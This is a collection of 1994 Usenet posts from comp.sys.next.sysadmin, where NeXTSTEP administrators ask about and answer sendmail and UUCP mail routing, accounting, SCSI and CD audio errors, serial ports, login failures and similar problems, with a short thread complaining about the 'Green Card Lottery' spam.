joe@retina.anatomy.upenn.edu wrote in comp.sys.next.sysadmin
>The most blatant violation of Netiquette I have ever seen.
>
>1) aggressive commercial solicitation
>2) in the wrong newsgroup (obviously they carpet-bombed many if
> not all newsgroups)
>3) They're Lawyers!
>
>
>Does anyone know if there is someone I can complain to? Are there
>Net police ( perhaps we need terminators in this case)? If you are
>as irritated as I, please send e-mail to the these cretins telling
>them to KEEP THIS SHIT OUT OF THE TECHNICAL NEWSGROUPS!!
They've hit just about every group in existance.
They're in for a kicking. They didn't even cross post which is a pain
because I would have loved to have read the followups.
This is becomming a rather common occurrence. I recommend that
somebody if this practice continues then measures be taken to remove
their domain from registry.
--
"C++ is the best C++ there is."
(ASCII for text only messages)
Newsgroups: comp.sys.next.sysadmin
From: smh@netserv.com (Scott M. Hinnrichs)
Subject: Re: CAP6.0 for NeXT Black?
Message-ID: <smh-120494065133@smh-ppc.netserv.com>
Followup-To: comp.sys.next.sysadmin
Sender: news@netsys.com
Organization: NetServices
References: <smh-110494025120@smh-ppc.netserv.com>
Date: Tue, 12 Apr 1994 13:49:21 GMT
Kinda hard to believe noone out there has built this successfully :)
Email me if you have it available. I have no time to build it but must
get it running today :(
Thanks, Scott
In article <smh-110494025120@smh-ppc.netserv.com>, smh@netserv.com (Scott
M. Hinnrichs) wrote:
>
> Anyone have a patched build of CAP6.0 around that I can ftp? You can drop
> it off via anonymous ftp at netserv.com if that is easiest.
>
> Thanks!, Scott
From: Charlesa@learned.co.uk
Newsgroups: comp.sys.next.sysadmin
Subject: any PCNFSD for NS/I 3.2?
Date: Tue, 12 Apr 94 15:17:15 BST
Organization: EUnet GB
Message-ID: <2oeagq$jb5@marble.Britain.EU.net>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Hi -
Anybody know of a version of pcnfsd that I can run on 3.2 for Intel? Thanks
for your thoughts...
C.
charlesa@learned.co.uk
From: ccpaulh@monad.missouri.edu (H. Paul Hammann)
Newsgroups: comp.sys.next.sysadmin
Subject: More accounting problems under NS 3.2
Date: 11 Apr 1994 20:01:03 GMT
Organization: University of Delaware
Distribution: World
Message-ID: <2oca9v$i2k@louie.udel.edu>
Keywords: system, accounting
Hello,
a couple of weeks ago I posted a question here about getting system
accounting started under NS 3.2. (It turned out that the /usr/adm/acct or
analog file had to exist already.) Thanks to everyone who responded!
I now have another problem. I have the accounting data stored in a file
called acct.muphnx8 (an analog of /usr/adm/acct) I would like to save the
per-user summary to a file called usracct.muphnx8 (instead of
/usr/adm/usracct) and plain summary information in savacct.muphnx8 (instead of
/usr/adm/savacct). usracct.muphnx8 and savacct.muphnx8 both exist and are
zero length. I tried the commands that follow:
sa -S savacct.muphnx8 acct.muphnx8
sa -U usracct.muphnx8 acct.muphnx8
each command gave the same output as if I had used the command "sa
acct.muphnx8" but the savacct.muphnx8 and the usracct.muphnx8 were both still
zero length. acct.muphnx8 was also unchanged. Any help, hints, or pointers
to info would be appreciated. Thanks in advance!
--
H. Paul Hammann
ccpaulh@monad.missouri.edu
From: peter@beast.math.ualberta.ca (Peter Karbaliotis)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: GLOBAL & other defaults (was Re: A4 default in Preview app?)
Date: 12 Apr 1994 15:52:02 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2oeg32$eou@quartz.ucs.ualberta.ca>
References: <1994Apr12.044655.2060@ToTSySSoft.com>
In article <1994Apr12.044655.2060@ToTSySSoft.com> Bruce Gingery
<bruce@TotSysSoft.com> writes:
[munch]
> Does anyone have handy the correct dwrite for use of gzcat in lieu of
>zcat when WM decompresses .compressed files? I have "GLOBAL decompress"
>and "Workspace Decompress", and am not sure which case is actually being
>used.
>
> Bruce Gingery
>
> bruce@TotSysSoft.com
dwrite Workspace uncompress /usr/bin/gunzip
--
Peter Karbaliotis - peter@beast.math.ualberta.ca - NeXTmail ok
When a particle you don't even know gives you momentum, that's impulse.
--- Daryle A. Tilroe
Newsgroups: comp.mail.sendmail,comp.sys.next.sysadmin
From: john@oceania.com (John Robison)
Subject: somewhere prepended to uucp mail with FQDN on NeXT
Message-ID: <Co4MHs.Gz1@oceania.com>
Followup-To: comp.mail.sendmail
Sender: john@oceania.com
Organization: Oceania Health Care Systems
Distribution: na
Date: Tue, 12 Apr 1994 03:17:52 GMT
I have been struggling with a mailhost config on a NeXT
computer. Because NeXT uses net-info and other goodies,
getting a new sendmail version is not really a good option
for me at this point.
I have two uucp mailers set up. One is "uucp" which simply
forwards "dump" bang-paths to some dumb hosts that we
send mail to.
The other mailer is "relay". This mailer forwards all unknown
mail to netcom (netcom.com). Ideally, all mail from our site
would be addressed from user@oceania.com when it goes to
netcom (relay). It is correctly addressed as oceania!user when going
to dumb uucp sites. When I tried modifying the ruleset to munge
the Sender address, I started getting "NO BANG IN UUCP!" messages.
(SO I set it back.)
The other problem, however, is if an E-mail comes from our relay
mailer (netcom), and does not have a bang anywhere in the address,
it gets prepended with somewhere! in the From and Return-Path
areas. I suspect this is related to trying to use UUCP (or uux)
and the underlying transport mechanism.
Any clues as to how to correct this? Netcom (I assume) has very smart
mailers. The NeXT is pretty dumb. In fact, the sendmail on our Suns is
even older, so they are not a good option either.
I have actually two problems:
1) Get rid of that damn somewhere! so I can "reply" without munging
the address - note that From: line is always correct.
2) Use a FQDN address for sender when going through netcom
(I'm not too worried about this one)
Here is a sample message sent from oceania@netcom.com to
john_alt@oceania.com. Note the from has no bang, hence the
(UNIX) From and Return-path are messed up. I looked at the
control files and they do NOT have somewhere in them. This
somewhere is getting added by the mail processing on the NeXT.
============
Message 2:
From somewhere!oceania@netcom.netcom.com Mon Apr 11 16:41:36 1994
Return-Path: <somewhere!oceania@netcom.netcom.com>
Received: by oceania.oceania.com (NX5.67d/NeXT-2.0h)
id AA15146; Mon, 11 Apr 94 16:41:35 -0700
Received: from netcom8.netcom.com by netcomsv.netcom.com with ESMTP (8.6.4/SMI-4
.1)
id QAA17340; Mon, 11 Apr 1994 16:35:58 -0700
Received: from localhost by netcom8.netcom.com (8.6.4/SMI-4.1/Netcom)
id QAA21292; Mon, 11 Apr 1994 16:35:49 -0700
Date: Mon, 11 Apr 1994 16:35:49 -0700
From: oceania@netcom.netcom.com (Oceania Health Care Syst)
Message-Id: <199404112335.QAA21292@netcom8.netcom.com>
To: john_alt@oceania.com
Subject: TEst
Status: RO
test of mail to john_alt
==========
Here is the "raw" message:
(as it appears in the UUCP spool area)
oceania:john_alt 4: more D.netco139183b
From oceania@netcom.netcom.com Mon Apr 11 19:11:46 1994
Received: from mail.netcom.com by netcomsv.netcom.com with ESMTP (8.6.4/SMI-4.1)
id TAA13604; Mon, 11 Apr 1994 19:11:46 -0700
Received: from localhost by mail.netcom.com (8.6.4/SMI-4.1/Netcom)
id TAA14604; Mon, 11 Apr 1994 19:11:44 -0700
Date: Mon, 11 Apr 1994 19:11:44 -0700
From: oceania@netcom.netcom.com (Oceania Health Care Syst)
Message-Id: <199404120211.TAA14604@mail.netcom.com>
To: john_alt@oceania.com
Subject: TEst
test of mail
This sent to john_alt@oceania.com
========
Here is the "raw" control file for the above message
oceania:john_alt 6: more X.netcomsC1391
U daemon netcomsv
# return status on failure
Z
# use sh to execute
e
# return address for status or input return
R oceania@netcom.netcom.com
# job id for status reporting
J oceaniaC52bb
F D.netco139183b
I D.netco139183b
C rmail john_alt@oceania.com
Please reply by E-mail to john@oceania.com
(Plain ASCII only)
I'll gladly summarize and re-post.
(Follow-ups to comp.mail.sendmail)
Also, pointers to working sendmail.mailhost.cf files that
do this on the NeXT platform would be appreciated.
Thanks,
John
--
John Robison
john@oceania.com <-- Use THIS exact address, others may fail.
Opinions are my own.
From: kheit@gandalf.rutgers.edu (John Kheit)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.hardware
Subject: Re: EATA timeout report #2
Message-ID: <Apr.12.12.59.29.1994.3475@gandalf.rutgers.edu>
Date: 12 Apr 94 16:59:30 GMT
References: <2npsso$9p@marsu.tynet.sub.org> <2ns15b$iu3@tribune.usask.ca> <next2.765579196@info2.rus.uni-stuttgart.de>
Followup-To: comp.sys.next.sysadmin
Organization: Rutgers Univ., New Brunswick, N.J.
next2@info2.rus.uni-stuttgart.de (Markus Wenzel) writes:
>Just be happy about it. But I think more than 10 persons with similar
>problems are enough to point out that something has to be done against it.
>If your system were unstable, you'd know what I meant with 'unreliable'.
>BTW: What devices did you connect to your 2022? Fast-SCSI-II harddisk drives?
>My theory is that it only happens with new fast drives.
No, I've had this happen with older drives too. It was particularly bad in
3.1 with a NICE motherboard and old DPT ROMS and 10m/sec transfer rates.
I dont get catastrophic EATA's anymore, they just time out the system, re-
synch, time out, re-synch etc... A hard reboot seems to clear out this cold.
Anyway, if you have this promblem, somethings that seem to aleviate it are:
- Get NS 3.2
- Reconfigure the DPT properly, and use only 5m/sec transfers
also maybe push the smart rom from c800 to d800 (im not sure about the exact
address space, so dont quote me on it).
- Get the newest DPT ROMS for your card.
BTW, cache seems to screw with opticals in a really horrible way (talkin big
16megs+ cache).
Later, and good luck
John
From: powell@tropic.aoml.erl.gov (Mark Powell)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Swaptimizer and Ext. SwapDisk Usage
Date: 12 Apr 1994 17:59:52 GMT
Organization: U.S. Department of Commerce, NOAA/AOML
Message-ID: <2oenio$3v9@wave.aoml.erl.gov>
I just started using a new Seagate 11200 external HD with my colorslab
(non-turbo) at home. I installed NS3.2 on it and, after having read
NeXTanswers about the use of swap disks and the swaptimizer, I decided to
assign the primary swapfile to my Seagate since it is faster than the
internal Quantum 105 on the slab.
I have to lowatermark set at 16 and hiwater at 56 MB and compress to
enable the swaptimizer but I noticed that the size of the swapfile is 13MB
and there is no swapfile.front in /private/vm. I had intended to leave
the 3.1 system files on the internal HD so that my wife can use the
machine if I decide to take the external drive on a trip or in case it
breaks down. I have noticed that when i try to run some programs, e.g.
movie.app, there is a lot of disk activity as the anim file is loaded and
then I get a spinning disk icon forever and have to power off the machine.
There is nothing obvious wrong in my messages file but when I do a verbose
boot I get a message about "swent line too long" cant remember exact
wording my notes are at home. Anyway, I have wondered whether this might
be related to using the swaptimizer and an external swapfile. Anyone have
comments or suggestions who may have tried this?
--
Dr. Mark D. Powell
Research Meteorologist, CCM (Swimmer, Windsurfer, user of NEXTSTEP)
NOAA Hurricane Research Division (appropriate disclaimers apply)
Miami, Fl 33149 Voice (305) 361-4403 Fax (305) 361-4402
From: mandel@oxbox.cso.uiuc.edu (Hector Mandel)
Newsgroups: comp.sys.next.sysadmin
Subject: printjob_nucps
Date: 12 Apr 1994 18:56:55 GMT
Organization: University of Illinois at Urbana
Message-ID: <2oeqtn$s7b@vixen.cso.uiuc.edu>
Can anyone tell me where to find the man page for the
/usr/netware/bin/printjob_nucps exec? Why doesn't the "-B"
option work?
Thanks.
--
Hector Mandel, Manager of Systems Services | (217) 244-7237
CCSO - Computing | h-mandel@uiuc.edu
University of Illinois at Urbana-Champaign | pager 53171
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: GLOBAL & other defaults (was Re: A4 default in Preview app?)
Date: 12 Apr 1994 19:16:59 +0100
Organization: me organised, that's a joke.
Message-ID: <2oeoir$bpb@steffi.demon.co.uk>
References: <1994Apr12.044655.2060@ToTSySSoft.com> <2oeg32$eou@quartz.ucs.ualberta.ca>
peter@beast.math.ualberta.ca (Peter Karbaliotis) wrote in comp.sys.next.sysadmin
>In article <1994Apr12.044655.2060@ToTSySSoft.com> Bruce Gingery
><bruce@TotSysSoft.com> writes:
>[munch]
>> Does anyone have handy the correct dwrite for use of gzcat in lieu of
>>zcat when WM decompresses .compressed files? I have "GLOBAL decompress"
>>and "Workspace Decompress", and am not sure which case is actually being
>>used.
>>
>> Bruce Gingery
>>
>> bruce@TotSysSoft.com
>
>dwrite Workspace uncompress /usr/bin/gunzip
>
>--
>Peter Karbaliotis - peter@beast.math.ualberta.ca - NeXTmail ok
>When a particle you don't even know gives you momentum, that's impulse.
> --- Daryle A. Tilroe
This has been pointed out on many times before
The only cavet is that you should probably rename the .compressed file
to .tar.gz when you distribute it outside of your configuration
because if a .compressed file is "gziped" then the recipient
of your message will attempt to "uncompress" it if they haven't set
that dwrite to the same as you.
By all means use the uncompress default if you just want to be
careful with all incoming files as gunzip will handle both types
correctly.
--
"C++ is the best C++ there is."
(ASCII for text only messages)
Newsgroups: comp.sys.next.sysadmin
From: jeff@netsurfer.com (Jeff Russell)
Subject: sendmail and MX records
Message-ID: <netnewsCo5sxJ.1ot@netcom.com>
Keywords: sendmail MX
Sender: netnews@netcom.com (USENET Administration)
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Date: Tue, 12 Apr 1994 18:34:31 GMT
I've seen this asked before but not answered (by a poster). Why does
sendmail complain "Valid name, but no A or MX record" when attempting to
send mail to a domain that has MX forwarding? Am I missing something or
do I need a more modern sendmail?
Thanks in advance for any advice.
Jeff Russell
jeff@netsurfer.com
From: carlton@darkstar.isi.edu (Mike Carlton)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
Subject: Can't play audio CDs on black hw
Date: 12 Apr 1994 15:31:11 -0700
Organization: USC Information Sciences Institute
Distribution: world
Message-ID: <2of7ff$r3s@darkstar.isi.edu>
I haven't been able to make audio CDs play on my system (25MHz Nextstation,
3.2, Apple CD-150). The hard disk is at SCSI id 1, the CD-ROM at SCSI id 2.
If I try to automount an audio CD, it spits the disk back out and gives
me these messages on console.log:
sd1 (2,0): ERROR op:0x28 sd_state:4 scsi status:0x0
^Msd1 (2,0): sense key:0x5 additional sense code:0x84
^M SCSI Block in error = 0 (no valid label)
^Msd1 (2,0): ERROR op:0x28 sd_state:4 scsi status:0x0
^Msd1 (2,0): sense key:0x5 additional sense code:0x84
^M SCSI Block in error = 4 (no valid label)
^Msd1 (2,0): ERROR op:0x28 sd_state:4 scsi status:0x0
^Msd1 (2,0): sense key:0x5 additional sense code:0x84
^M SCSI Block in error = 8 (no valid label)
^Msd1 (2,0): ERROR op:0x28 sd_state:4 scsi status:0x0
^Msd1 (2,0): sense key:0x5 additional sense code:0x84
^M SCSI Block in error = 12 (no valid label)
^M DISK UNFORMATTED
^M Disk is Write Protected
^Mprobing for CDROM
probing for DOS
probing for mac
sd1 (2,0): ERROR op:0x43 sd_state:4 scsi status:0x0
^Msd1 (2,0): sense key:0x5 additional sense code:0x24
^M SCSI Block in error = 0 (no valid label)
^Mcdutil: sendCommand error:Sense key: 5, code: 24
probing for cdaudio
If I first start up CDPlayer and then insert the disk when prompted,
I get the same messages (except for the 'probing for ...' ones), and
then the part below repeats indefinitely until I eject the disk:
sd1 (2,0): ERROR op:0x43 sd_state:4 scsi status:0x0
^Msd1 (2,0): sense key:0x5 additional sense code:0x24
^M SCSI Block in error = 0 (no valid label)
^Mcdutil: sendCommand error:Sense key: 5, code: 24
Any ideas? I've turned on public window, public sound (and display EPS
securely), rebooted the machine. The release notes aren't any help.
As far as I know, this drive is the same one than Next used to sell
(scsimodes identifies it as a SONY CD-ROM CDU-8002).
thanks,
--mike (carlton@isi.edu)
From: eps@futon.SFSU.EDU (Eric P. Scott)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Green Card Lottery- Final One?
Date: 13 Apr 1994 02:31:09 GMT
Organization: San Francisco State University
Message-ID: <2oflhd$555@nic-nac.CSU.net>
References: <2odkhk$3gu@herald.indirect.com> <2odv8v$b76@netnews.upenn.edu>
In article <2odv8v$b76@netnews.upenn.edu>
joe@retina.anatomy.upenn.edu writes:
>Does anyone know if there is someone I can complain to?
|Internet Direct, Inc. (INDIRECT-DOM)
| 1366 E. Thomas Road, Suite 210
| Phoenix, AZ 85014-5741
|
| Domain Name: INDIRECT.COM
|
| Administrative Contact:
| March, Michael (MM30) march@INDIRECT.COM
| (602) 274-0100
| Technical Contact, Zone Contact:
| Wheelhouse, Jeffrey D. (JW44) jeffw@INDIRECT.COM
| (602) 274-0100
|
| Record last updated on 23-Mar-94.
|
| Domain servers in listed order:
|
| NS1.INDIRECT.COM 165.247.1.3
| ICM1.ICP.NET 192.94.207.66
|
|
|The InterNIC Registration Services Host ONLY contains Internet Information
|(Networks, ASN's, Domains, and POC's).
|Please use the whois server at nic.ddn.mil for MILNET Information.
Voice calls are probably more effective than e-mail.
-=EPS=-
From: eps@futon.SFSU.EDU (Eric P. Scott)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: sendmail and MX records
Date: 13 Apr 1994 02:37:40 GMT
Organization: San Francisco State University
Message-ID: <2ofltk$5c1@nic-nac.CSU.net>
References: <netnewsCo5sxJ.1ot@netcom.com>
In article <netnewsCo5sxJ.1ot@netcom.com> jeff@netsurfer.com
(Jeff Russell) writes:
>I've seen this asked before but not answered (by a poster). Why does
>sendmail complain "Valid name, but no A or MX record" when attempting to
>send mail to a domain that has MX forwarding?
_Specifically_, which domain is giving you trouble?
> Am I missing something or
>do I need a more modern sendmail?
Probably the former.
-=EPS=-
From: bailey@casbah.acns.nwu.edu (William Leeke)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: funky init
Date: 13 Apr 1994 05:09:15 GMT
Organization: Northwestern University, Evanston IL USA
Message-ID: <2ofupr$grg@news.acns.nwu.edu>
References: <2nbir2$609@news.acns.nwu.edu> <CnJzM0.H1@euler.hnv.icem.de>
In article <CnJzM0.H1@euler.hnv.icem.de>,
Juergen Sell <js@euler.hnv.icem.de> wrote:
>In article <2nbir2$609@news.acns.nwu.edu> bailey@casbah.acns.nwu.edu (William Leeke) writes:
>> USER PID %CPU %MEM VSIZE RSIZE TT STAT TIME COMMAND
>> root 1 80.7 1.0 1.51M 80K ? R 736:13 /usr/etc/init -xx
>> root 28422 2.0 2.5 1.52M 208K p1 S 0:00 grep init
> ^~~~~~~
>> root 2 0.0 1.6 1.45M 128K co S 5:43 (mach_init)
>
>The quite large number of your most curent process id might be an indicator.
>You either had the machine running for quite some time without rebooting ( like some days or even
>weeks ) or your init (?) launches processes repeatedly in an endless loop.
>I saw that happen on an Indigo once when the /etc/rc* files were hacked to corruption.
>
I reboot quite often, but hardly ever turn it off. Turning it off seems to
have remedied the problem. But why???
--
"Art is not a mirror,
Art is a hammer!"
bailey@casbah.acns.nwu.edu
From: gpoc@cube.sm.dsi.unimi.it (Gianfranco Pocecai)
Newsgroups: comp.sys.next.software,comp.sys.next.hardware,comp.sys.next.advocacy,comp.sys.next.sysadmin,comp.sys.next.programmer,comp.sys.next.misc
Subject: The Italian NEXTSTEP User Group offers ftpmail service for NEXTSTEP Users
Date: 13 Apr 1994 09:40:56 GMT
Organization: Computer Science Dep. - Milan University
Distribution: world
Message-ID: <2ogen8$4rc@ghost.sm.dsi.unimi.it>
The Italian NEXTSTEP User Group offers ftpmail service for NEXTSTEP Users.
Ftpmail is an email->ftp gateway.
Just send your requests to ftpmail@cube.sm.dsi.unimi.it.
It will ftp the files and send them back to you via email.
You can get the list of valid commands to the ftpmail gateway by sending
an email to ftpmail@cube.sm.dsi.unimi.it with 'help' in the body of the
message.
The default ftp site is the Italian NEXTSTEP User Group ftp site.
There you can find a lot of MAB software + submissions from cs.orst.edu &
sonata.cc.purdue.edu + NeXTAsnwers + FAQs + images + sounds + OOP stuff +
MathPackages + Benchmarks + ...
And now happy mailing!!!
Gianfranco
--
Gianfranco Pocecai
President of The Italian NEXTSTEP User Group
University of Milano - Computer Science Department
Via Comelico, 39/41
20135 Milano - Italy
E-mail : gpoc@cube.sm.dsi.unimi.it
From: jv@speedy.looneytunes (Jorg Vogler)
Newsgroups: comp.sys.next.sysadmin
Subject: Again : Login screwed up. Help !
Date: 13 Apr 1994 12:22:20 GMT
Organization: Wandel & Goltermann Technologies
Distribution: world
Message-ID: <JV.94Apr13082220@speedy.looneytunes>
The login mechanism on my NS Intel is somehow screwed up.
I checked the NetInfo database. It seems pretty normal. No
problems so far.
Here are the symptoms :
1. I can only login as root. Any other user crashes during
startup.
2. I can call su for all users that do NOT belong to the
group wheel. For users in this group su says "No shell".
If I call login directly, it says "Invalid homedir /...".
The home directories exist. The shell path is correctly.
Everthing worked fine until a few days ago.
3. I tried to create an entire new user entry with UserManager.
This user does not belong to wheel. I get the same problems
with this new user as well. I get a dock but even the work
space manager does not come up and I have for Icons in the
dock with a question mark in it. From that point I have
to reboot the machine. There are no menus, nothing.
4. For root, everything works normal.
5. The only error message that I get during booting comes from
the inetd. It says cannot chdir to /usr/spool/ucp (but it is
there with the right permissions). I don't know whether this
has something to do with the login problem.
Thanks in advance for any help in this matter
Joerg Vogler
(jv@wg.com)
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From: troch@gandalf.Rutgers.EDU (Rod Troch)
Newsgroups: comp.sys.next.sysadmin
Subject: POP Server - help compiling
Message-ID: <TROCH.94Apr13094645@gandalf.Rutgers.EDU>
Date: 13 Apr 94 13:46:45 GMT
Sender: troch@gandalf.rutgers.edu
Organization: Rutgers - The State University of New Jersey
Howdy,
We have a very old NeXT cube here (68030 - one of the first versions of
the OS) and are wondering if someone knows where we could find a version
of POP that would compile and run on this system.
All of your tips and hints are greatly appreciated.
Thanks,
Rod
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Newsgroups: comp.sys.next.sysadmin
From: borchers@nsf.gov (Robert R. Borchers)
Subject: File Extensions
Message-ID: <borchers-130494094728@cise0084.cise.nsf.gov>
Followup-To: comp.sys.next.sysadmin
Sender: news@nsf.gov
Organization: National Science Foundation
Date: Wed, 13 Apr 1994 14:02:18 GMT
This might be an FAQ, but the solution eludes me. OmniWeb gets some audio
files with a .aiff extension. The files however are actually .snd, so I
thought it would be nice to have them play by called Sound.app. I added the
appropriate line to what seemed like the correct file in ~/.NeXT (although
the file,suffixes3_1.m68k.wmd, is suspicious since it has 3_1 in its name,
and I am running 3.2). The result is no change. Is this file only read
during boot, or is there an app like newaliases, that must be run? Any
insight would be appreciated. Obviously I am running on black hardware. Bob
--
Robert R. Borchers
National Science Foundation
borchers@nsf.gov
NeXTMail Welcome
Newsgroups: comp.sys.next.sysadmin
From: slotboom@cpsc.ucalgary.ca (Anthony Slotboom)
Subject: Configuring serial ports
Message-ID: <Co6EJx.C98@cpsc.ucalgary.ca>
Summary: Word length problems
Keywords: Word length
Sender: news@cpsc.ucalgary.ca (News Manager)
Organization: University of Calgary, CPSC
Date: Wed, 13 Apr 1994 02:21:32 GMT
Anyone with enough experience with serial ports to help me out with
this one:
My mail feed no longer accepts connections at Even parity, 7 data bits
and 1 stop bit, which I have been using without any problems until
now. I need to change the port parameters to No parity, 8 data bits
and 1 stop bit.
I have a non-turbo mono slab and I use a ZyXEL modem. The port speed
is 38400. I tried using setting the modem up using register 15, ie.
ATS15=SomethingOrOther but if my suspiscion is correct the port itself
is using 7 data bits and the configuration will need to be done at a
higher level. How does one accomplish this? The documentation for
the ZyXEL is extremely poor, and NeXT has provided no documentation on
things like parity and word length.
If anyone know of a solution to this, please email me at
slotboom@cpsc.ucalgary.ca. Any help would be appreciated.
--
Tony Slotboom
email: slotboom@cpsc.ucalgary.ca
or: tony@negrita.cuc.ab.ca (temporarily defunct)
Newsgroups: comp.sys.next.sysadmin
From: ralf@rafa.in-berlin.de (Ralf Neumann)
Subject: Send me pictures for /Local/Library/People
Message-ID: <1994Apr13.071546.7132@rafa.in-berlin.de>
Sender: ralf@rafa.in-berlin.de
Organization: DRN
Date: Wed, 13 Apr 1994 07:15:46 GMT
Hallo,
After I installed the faces.tar.Z from cs.orst. I am missing nearly everybody
from the next newsgroup. I will be very happy to see who is writing so please
send me small pictures by NeXT-email. But take care that they are really
really small (hope not to get to much flames but sorry what's multimedia
without medias ?-) and from the size not bigger than 64x64 pixels.
Please remember: give it the correct name i.e.:
fuuu@grgrgrg.bla.com must be fuu.grgrgrg.bla.com.tiff
Thanks a lot in advance
Ralf
If I get enough together I will put them on an ftp-server and post where to
get them or send them to Carl Edman who is moderating the faces library since
a long time.
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*| Ralf Neumann | ralf@rafa.in-berlin.de | Try NeXTmail please! |*
*| ************ | Voice +49 30 / 321 78 84 | Fax +49 30 / 321 28 68|*
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From: bshaw@hepar.unmc.edu (Byers W. Shaw Jr.)
Newsgroups: comp.sys.next.sysadmin
Subject: email addresses, NeXTMail
Date: 13 Apr 1994 18:29:28 GMT
Organization: University of Nebraska Medical Center, Omaha, NE, USA
Message-ID: <2ohdm8$jhi@netserv.unmc.edu>
Where does NeXTMail store a user's private addresses?
Bud Shaw
Newsgroups: comp.sys.next.sysadmin
From: jeff@netsurfer.com (Jeff Russell)
Subject: Re: sendmail and MX records
Message-ID: <netnewsCo7LJs.My7@netcom.com>
Sender: netnews@netcom.com (USENET Administration)
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
References: <2ofltk$5c1@nic-nac.CSU.net>
Date: Wed, 13 Apr 1994 17:50:16 GMT
In article <2ofltk$5c1@nic-nac.CSU.net> eps@futon.SFSU.EDU (Eric P. Scott)
writes:
> In article <netnewsCo5sxJ.1ot@netcom.com> jeff@netsurfer.com
> (Jeff Russell) writes:
> >I've seen this asked before but not answered (by a poster). Why does
> >sendmail complain "Valid name, but no A or MX record" when attempting
to
> >send mail to a domain that has MX forwarding?
>
> _Specifically_, which domain is giving you trouble?
>
> > Am I missing something
or
> >do I need a more modern sendmail?
>
> Probably the former.
>
> -=EPS=-
compuserve.com is one that does not work. I do an nslookup, and the MX
records are there. I am missing something.
jeff
From: citdem@violet.ccit.arizona.edu (MCCOLLAM, DON)
Newsgroups: comp.sys.next.sysadmin
Subject: Installing Kermit
Date: 13 Apr 1994 09:48 MST
Organization: University of Arizona
Distribution: world
Message-ID: <13APR199409481886@violet.ccit.arizona.edu>
News-Software: VAX/VMS VNEWS 1.41
I've forgotten how to set permissions for Kermit (right now only Root
can execute it). Will someone please e-mail mail me a reminder.
Thanks.
Don McCollam
mccollam@snow.ccit.arizona.edu
From: sherwood@fenris.space.ualberta.ca (Sherwood Botsford)
Newsgroups: comp.sys.next.sysadmin
Subject: Gated?
Date: 13 Apr 1994 20:27:36 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2ohkjo$dss@quartz.ucs.ualberta.ca>
Has anyone gotten gated 3.x up and running on Next?
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=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
From: zmonster@ATHENA.MIT.EDU (Eric M Hermanson)
Newsgroups: comp.sys.next.sysadmin
Subject: Printing and Disk Space Quotas
Date: 13 Apr 1994 20:09:15 GMT
Organization: Massachusetts Institute of Technology
Distribution: world
Message-ID: <2ohjhb$qeg@senator-bedfellow.MIT.EDU>
Is there a way to easily set an upper limit on disk space a user can use,
or the number of pages a user can print in NEXTSTEP 3.2? I looked in
digital librarian under 'quota' but couldn't find anything. The print quota
is more important for us to get working than the disk space quota right now.
We would like to limit the user to 100 printed pages per month....
Thanks in advance for the help..
Eric
Newsgroups: comp.sys.next.sysadmin
From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: email addresses, NeXTMail
Message-ID: <1994Apr13.230757.20795@seer.demon.co.uk>
Sender: news@seer.demon.co.uk
Organization: P & L Systems
References: <2ohdm8$jhi@netserv.unmc.edu>
Date: Wed, 13 Apr 1994 23:07:57 GMT
In article <2ohdm8$jhi@netserv.unmc.edu> bshaw@hepar.unmc.edu (Byers W.
Shaw Jr.) writes:
> Where does NeXTMail store a user's private addresses?
~/.NeXT/.mailalias
the format is more or less standard alias file.
Paul
--
Paul Lynch
P & L Systems (NeXTmail) paul@seer.demon.co.uk
Tel: (0494)671501 9 Stable Lane, Seer Green,
Fax: (0494)680228 Bucks, HP9 2YT, UK
From: dwestern@axysdev.krldwa.mccaw.com (Dale Western)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
Subject: HELP... Printer problems
Date: 13 Apr 1994 20:23:33 GMT
Organization: McCaw Cellular Communications, Inc.
Message-ID: <2ohkc5$44q@ftp-p.mccaw.com>
Keywords: printer
I have had this NeXT printer about 5yrs now and last night after
printing a page the printer seemed to turn off. Once off, I could
never get it to power up (i.e. never heard the fan start). If I used
PrintManger or rebooted the machine in an attempt to force the printer
to start all I would get is this funny clicking sound.
It sounded like a relay or circuit break turning on and off. This would
happen about 5 times before the system would report an IO error on the
device.
The machine is on a UPS and is usually turned off after printing with a
shell script I have. After the page printed I never got a chance to
turn it off myself, it just seemed to power down on its own.
Any ideas?
_____________________________________________________________________
Dale Western
McCaw Cellular Communications, Inc.
Axys CC Development
P.O. Box 97060
Kirkland, WA 98083-9760
From: bill@alamut.lifesci.ucla.edu (William M. Eldridge)
Newsgroups: comp.sys.next.sysadmin
Subject: 3.2 sendmail.cf questions
Date: 13 Apr 1994 17:25:18 -0700
Organization: UCLA Cognitive Science Research Program
Message-ID: <2oi2he$8qm@alamut.lifesci.ucla.edu>
Howdy,
Two questions on the 3.2 sendmail.cf/netinfo:
I have one mail server for 4 machines. I changed
the sendmail.mailhost.cf to put the parent domain
in the return line (so instead of bill@mailhost.biology.ucla.edu
I have bill@biology.ucla.edu as the return). This works
fine for the mailhost, but not for the slaves - their
returns appear as bill@slave.biology.ucla.edu.
I tried adding Dj$m in the sharedsubsidiary.cf, which
didn't help. Any clues?
2nd: I need to route bitnet through a particular host.
For a Sun sendmail.cf, I have:
DBmvs.oac.ucla.edu
and later
R$<@$+.BITNET>$* $#tcp$@$B$:$1@$2.BITNET$3
Are there any problems with this syntax in this version of
sendmail?
Thanks,
Bill
--
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bill@lifesci.ucla.edu Is that a frumpy alligator in my drink, my dear?
310-206-3960 (3987 fax) Derision. Like a decision with a beer.
From: buddha@samsara.circus.com (Adam Deishu Beeman)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Configuring serial ports
Date: 13 Apr 1994 17:55:34 -0700
